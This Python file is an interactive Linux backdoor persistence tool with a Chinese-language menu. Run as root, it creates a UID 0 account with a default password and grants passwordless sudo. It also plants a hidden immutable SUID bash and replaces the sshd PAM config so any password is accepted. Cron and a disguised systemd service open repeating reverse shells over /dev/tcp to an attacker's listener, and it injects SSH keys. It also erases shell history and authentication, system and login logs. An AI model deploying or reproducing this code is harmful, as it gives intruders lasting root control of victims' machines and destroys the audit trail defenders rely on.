#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
import os
import sys
import subprocess
import socket
import shutil
from getpass import getpass


class BackdoorMaintainer:
    def __init__(self):
        # 修改后门二进制路径到/tmp隐藏目录
        self.pam_su_backdoor_binary = "/tmp/.systemd-su"  # 原路径为/usr/local/su
        self.systemd_service_name = "systemd-network.service"
        self.pam_systemd_service = "su-backdoor.service"  # 新增 su-backdoor 服务名
        self.hidden_bash_path = "/tmp/.kernel-service"  # 新增 hidden_bash_path 属性

    def show_menu(self):
        """显示主菜单"""
        print("""
                  ___       
                 / _ \      
   ___ _ __ _ __| | | |_ __ 
  / _ \ '__| '__| | | | '__|
 |  __/ |  | |  | |_| | |   
  \___|_|  |_|   \___/|_|   

        请选择持久化方式：
            [1] 添加特权账户
            [2] 授予账户sudo权限
            [3] 创建隐藏的SUID shell
            [4] PAM 后门（任意密码登录）
            [5] 定时任务持久化
            [6] SSH密钥注入
            [7] systemd服务持久化
            [8] 清理所有后门痕迹
            [9] 清理系统日志痕迹
            [q] 退出
        """)

    def run_command(self, cmd, exit_on_error=True):
        try:
            result = subprocess.run(
                cmd,
                shell=True,
                check=True,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                universal_newlines=True
            )
            return result.stdout.strip()
        except subprocess.CalledProcessError as e:
            if exit_on_error:
                print("命令执行失败: {}".format(e.stderr))
            return None

    def user_exists(self, username):
        return os.path.exists('/home/{}'.format(username)) or bool(
            self.run_command('getent passwd {}'.format(username), exit_on_error=False)
        )

    def add_backdoor_account(self):
        username = input("请输入用户名（默认 sysmgmt）: ").strip() or "sysmgmt"
        if self.user_exists(username):
            print("[!] 用户 {} 已存在".format(username))
            return

        password = getpass("请输入密码（默认 Password123!）: ") or "Password123!"
        encrypted_pw = self.run_command("openssl passwd -1 '{}'".format(password))

        self.run_command(
            "useradd -o -u 0 -g 0 -N -M {0} -p '{1}' -s /bin/bash".format(username, encrypted_pw)
        )

        if self.user_exists(username):
            print("[+] 账户创建成功\n用户名: {0}\n密码: {1}".format(username, password))
        else:
            print("[!] 账户创建失败")

    def grant_sudo(self):
        username = input("请输入用户名: ").strip()
        if not self.user_exists(username):
            print("[!] 用户 {} 不存在".format(username))
            return

        sudo_line = "{} ALL=(ALL:ALL) NOPASSWD:ALL".format(username)
        sudo_dir = '/etc/sudoers.d'
        sudo_file = "{}/01_custom".format(sudo_dir)

        if not os.path.exists(sudo_dir):
            os.makedirs(sudo_dir)

        with open(sudo_file, 'a') as f:
            f.write("\n{}\n".format(sudo_line))

        print("[+] Sudo权限已授予")

    def create_suid_shell(self):
        if os.path.exists(self.hidden_bash_path):
            print("[!] 隐藏shell已存在")
            return

        try:
            shutil.copy2('/bin/bash', self.hidden_bash_path)
            os.chmod(self.hidden_bash_path, 4755)
            self.run_command("chattr +i {}".format(self.hidden_bash_path))
            self.run_command("touch -r /bin/bash {}".format(self.hidden_bash_path))
            print("[+] SUID shell已创建于 {}\n使用方式: ./kernel-service -p".format(self.hidden_bash_path))
        except Exception as e:
            print("[!] 创建失败: {}".format(str(e)))

    def setup_pam_su_backdoor(self):
        # 下载并编译 PAM 后门
        pam_source_url = "https://github.com/linux-pam/linux-pam/archive/refs/tags/Linux-PAM-1_1_8.tar.gz"
        source_dir = "/tmp/linux-pam"
        try:
            self.run_command(f"mkdir -p {source_dir}")
            self.run_command(f"wget {pam_source_url} -O {source_dir}/Linux-PAM-1_1_8.tar.gz")
            self.run_command(f"tar -xzf {source_dir}/Linux-PAM-1_1_8.tar.gz -C {source_dir}")
            
            # 根据系统类型选择包管理器安装编译依赖
            if self.run_command("which apt-get", exit_on_error=False):
                # Ubuntu/Debian 系统
                self.run_command("apt-get update && apt-get install -y build-essential libtool automake autoconf")
            elif self.run_command("which yum", exit_on_error=False):
                # CentOS/RHEL 系统
                self.run_command("yum install -y gcc make libtool automake autoconf")
            else:
                print("[!] 无法确定系统类型，无法安装编译依赖")
                return

            # 编译并安装 PAM 源码
            self.run_command(f"cd {source_dir}/linux-pam-Linux-PAM-1_1_8 && autoreconf -i && ./configure && make && make install")

            # 修改 PAM 配置文件以实现后门
            pam_config = "/etc/pam.d/sshd"  # 修改为 sshd 配置文件
            backdoor_config = """
# PAM 后门配置
auth       sufficient   pam_permit.so
account    sufficient   pam_permit.so
password   sufficient   pam_permit.so
session    sufficient   pam_permit.so
"""
            with open(pam_config, 'w') as f:
                f.write(backdoor_config)

            # 增加日志输出以便排查问题
            self.run_command("echo 'PAM 后门配置完成，任意密码登录已启用' >> /var/log/auth.log")
            print("[+] PAM 后门已安装并配置完成，任意密码登录已启用")
        except Exception as e:
            print(f"[!] PAM 后门安装失败: {str(e)}")
            # 增加日志输出以便排查问题
            self.run_command(f"echo 'PAM 后门安装失败: {str(e)}' >> /var/log/auth.log")
            # 清理下载的源码文件
            self.run_command(f"rm -rf {source_dir}", exit_on_error=False)
            return

    def setup_cron_backdoor(self):
        lhost = input("请输入监听IP: ").strip()
        lport = input("请输入监听端口: ").strip()

        cron_job = """*/3 * * * * /bin/bash -c 'exec 5<>/dev/tcp/{0}/{1};cat <&5 | while read line; do $line 2>&5 >&5; done'""".format(lhost, lport)
        self.run_command("(crontab -l 2>/dev/null; echo '{}') | crontab -".format(cron_job))
        print("[+] 定时任务已添加")

    def inject_ssh_key(self):
        key_path = input("请输入公钥路径 (默认当前目录): ").strip() or "./id_rsa.pub"

        if not os.path.exists(key_path):
            print("[!] 公钥文件不存在")
            return

        ssh_dir = "/root/.ssh"
        os.makedirs(ssh_dir, exist_ok=True)
        os.chmod(ssh_dir, 0o700)

        authorized_keys = "{}/authorized_keys".format(ssh_dir)
        pubkey = open(key_path).read().strip()

        with open(authorized_keys, 'a') as f:
            f.write("\n" + pubkey + "\n")

        os.chmod(authorized_keys, 0o600)
        print("[+] SSH公钥已注入")

    def setup_systemd_persistence(self):
        lhost = input("请输入监听IP: ").strip()
        lport = input("请输入监听端口: ").strip()

        service_content = """
[Unit]
Description=Network Management Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/{0}/{1} 0>&1; sleep 10; done'
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
""".format(lhost, lport)

        service_path = "/etc/systemd/system/{}".format(self.systemd_service_name)
        with open(service_path, 'w') as f:
            f.write(service_content)

        self.run_command("systemctl daemon-reload")
        self.run_command("systemctl enable {}".format(self.systemd_service_name))
        self.run_command("systemctl start {}".format(self.systemd_service_name))
        print("[+] systemd持久化服务已安装")

    def clean_up(self):
        print("[*] 开始执行清理操作...")

        # 删除下载的 PAM 源码文件
        source_dir = "/tmp/linux-pam"
        if os.path.exists(source_dir):
            print("[-] 正在删除下载的 PAM 源码文件...")
            self.run_command(f"rm -rf {source_dir}", exit_on_error=False)
            print("[+] PAM 源码文件已删除")

        # 删除特权账户
        username = input("请输入要删除的账户名 (默认 sysmgmt): ").strip() or "sysmgmt"
        if self.user_exists(username):
            print("[-] 正在删除用户 {} ...".format(username))
            self.run_command("userdel -r {}".format(username))
            print("[+] 用户 {} 已删除")
        else:
            print("[!] 用户 {} 不存在，跳过删除")

        # 删除 SUID shell
        if os.path.exists(self.hidden_bash_path):
            print("[-] 正在删除隐藏SUID shell: {} ...".format(self.hidden_bash_path))
            self.run_command("chattr -i {}".format(self.hidden_bash_path), exit_on_error=False)
            os.remove(self.hidden_bash_path)
            print("[+] SUID shell文件已删除")

        # 删除 PAM SU 后门及 systemd 服务
        backdoor_path = self.pam_su_backdoor_binary
        pam_config = "/etc/pam.d/su"
        service_file = "/etc/systemd/system/{}".format(self.pam_systemd_service)

        print("[*] 正在停止 PAM SU 的 systemd 服务...")
        self.run_command("systemctl stop {} || true".format(self.pam_systemd_service), exit_on_error=False)
        self.run_command("systemctl disable {} || true".format(self.pam_systemd_service), exit_on_error=False)

        if os.path.exists(service_file):
            os.remove(service_file)
            print(f"[-] 已删除 systemd 服务文件: {service_file}")

        if os.path.exists(backdoor_path):
            # 移除不可变属性后再删除
            self.run_command("chattr -i {}".format(backdoor_path), exit_on_error=False)
            os.remove(backdoor_path)
            print(f"[-] 已删除后门程序: {backdoor_path}")

        if os.path.exists(pam_config):
            os.remove(pam_config)
            print(f"[-] 已删除 PAM 配置文件: {pam_config}")

        # 清理 rc.local 中的启动条目
        rc_local = "/etc/rc.local"
        if os.path.exists(rc_local):
            with open(rc_local, 'r') as f:
                lines = f.readlines()
            with open(rc_local, 'w') as f:
                for line in lines:
                    if self.pam_systemd_service not in line:
                        f.write(line)
            print("[-] 已清除开机启动项")

        # 定时任务
        print("[*] 正在清空当前用户的定时任务...")
        self.run_command("crontab -l 2>/dev/null | grep -v 'exec 5<>/dev/tcp' | crontab -", exit_on_error=False)
        print("[+] 定时任务已清空")

        # systemd 服务（原）
        service_path = "/etc/systemd/system/{}".format(self.systemd_service_name)
        if os.path.exists(service_path):
            print("[-] 正在停止并删除systemd服务: {} ...".format(self.systemd_service_name))
            self.run_command("systemctl stop {}".format(self.systemd_service_name), exit_on_error=False)
            self.run_command("systemctl disable {}".format(self.systemd_service_name), exit_on_error=False)
            os.remove(service_path)
            self.run_command("systemctl daemon-reload")
            print("[+] systemd服务已移除")

        # SSH 公钥
        ssh_dir = "/root/.ssh"
        authorized_keys = "{}/authorized_keys".format(ssh_dir)
        if os.path.exists(authorized_keys):
            print("[-] 正在清理注入的SSH公钥 ...")
            with open(authorized_keys, 'r') as f:
                lines = f.readlines()
            with open(authorized_keys, 'w') as f:
                for line in lines:
                    if any(k in line for k in ["ssh-rsa", "ecdsa", "ssh-ed25519"]):
                        continue
                    f.write(line)
            print("[+] SSH公钥已清理")

        print("[+] 所有后门和痕迹已清理完毕！")

    def clean_logs(self):
        print("[*] 开始清理系统日志...")

        # Bash历史记录
        bash_history = os.path.expanduser("~/.bash_history")
        if os.path.exists(bash_history):
            print("[-] 正在清理Bash历史记录: {} ...".format(bash_history))
            self.run_command("echo > {}".format(bash_history))
            self.run_command("history -c", exit_on_error=False)

        # 认证日志
        if os.path.exists("/var/log/auth.log"):
            print("[-] 正在清空 /var/log/auth.log ...")
            self.run_command("echo > /var/log/auth.log")

        if os.path.exists("/var/log/secure"):
            print("[-] 正在清空 /var/log/secure ...")
            self.run_command("echo > /var/log/secure")

        # 系统日志
        if os.path.exists("/var/log/syslog"):
            print("[-] 正在清空 /var/log/syslog ...")
            self.run_command("echo > /var/log/syslog")

        # 登录记录
        print("[-] 正在清除登录记录...")
        self.run_command("echo > /var/log/lastlog")
        self.run_command("echo > /var/log/wtmp")

        print("[+] 所有日志痕迹已清除完毕！")

    def main(self):
        while True:
            self.show_menu()
            choice = input("请选择操作 > ").lower().strip()

            if choice == '1':
                self.add_backdoor_account()
            elif choice == '2':
                self.grant_sudo()
            elif choice == '3':
                self.create_suid_shell()
            elif choice == '4':
                self.setup_pam_su_backdoor()
            elif choice == '5':
                self.setup_cron_backdoor()
            elif choice == '6':
                self.inject_ssh_key()
            elif choice == '7':
                self.setup_systemd_persistence()
            elif choice == '8':
                self.clean_up()
            elif choice == '9':
                self.clean_logs()
            elif choice == 'q':
                print("[+] 退出程序")
                sys.exit(0)
            else:
                print("[!] 无效选项")

            input("\n按回车继续...")

    # ===== 辅助方法 =====

    def allow_port_in_firewall(self, port):
        """根据当前防火墙类型放行指定端口"""
        if self.run_command("which ufw", exit_on_error=False):
            self.run_command("ufw allow {}/tcp".format(port), exit_on_error=False)
        elif self.run_command("which firewall-cmd", exit_on_error=False):
            self.run_command("firewall-cmd --permanent --add-port={}/tcp".format(port), exit_on_error=False)
            self.run_command("firewall-cmd --reload", exit_on_error=False)
        elif self.run_command("which iptables", exit_on_error=False):
            self.run_command("iptables -A INPUT -p tcp --dport {} -j ACCEPT".format(port), exit_on_error=False)
            self.run_command("iptables-save > /etc/iptables/rules.v4", exit_on_error=False)


if __name__ == '__main__':
    if os.geteuid() != 0:
        print("[!] 请使用root权限运行此脚本")
        sys.exit(1)
    BackdoorMaintainer().main()



    
